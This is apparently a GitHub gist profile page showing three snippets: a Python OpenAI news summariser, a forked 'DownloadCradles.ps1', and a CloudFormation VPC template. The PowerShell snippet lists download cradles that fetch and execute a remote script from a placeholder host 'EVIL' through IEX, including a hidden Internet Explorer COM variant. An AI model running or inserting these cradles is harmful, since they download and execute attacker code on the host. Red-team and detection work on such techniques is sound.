Skip to content

Instantly share code, notes, and snippets.

View ybraz's full-sized avatar

Yuri Braz ybraz

View GitHub Profile
@ybraz
ybraz / gist:42ed0dc734295e5dc02f33631c69f7cc
Created August 1, 2024 14:29
Resumir notícias com GPT da OpenAI
from openai import OpenAI
client = OpenAI(api_key=os.environ['OPENAI_API_KEY'])
def chatgpt_summarize_and_translate(text):
prompt = f"""
Instrução: A partir de uma notícia de cybersegurança, gere um resumo conciso em um parágrafo e, em seguida, liste e explique as 5 principais ideias apresentadas na notícia, utilizando um emoticon para cada ideia, sempre em português do Brasil.
Tom/Estilo: O resumo deve ser informativo e direto, sendo focado em um público extremamente técnico de especialistas em cybersegurança.
@ybraz
ybraz / DownloadCradles.ps1
Created January 24, 2023 08:50 — forked from HarmJ0y/DownloadCradles.ps1
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
@ybraz
ybraz / vpc-fargate.yaml
Created August 14, 2021 09:32 — forked from lizrice/vpc-fargate.yaml
Cloudformation template for setting up VPC and subnets for Fargate
# Usage:
# aws cloudformation --region <region> create-stack --stack-name <stack name> --template-body file://vpc-fargate.yaml
# This template will:
# Create a VPC with:
# 2 Public Subnets
# 2 Private Subnets
# An Internet Gateway (with routes to it for Public Subnets)
# A NAT Gateway for outbound access (with routes from Private Subnets set to use it)
#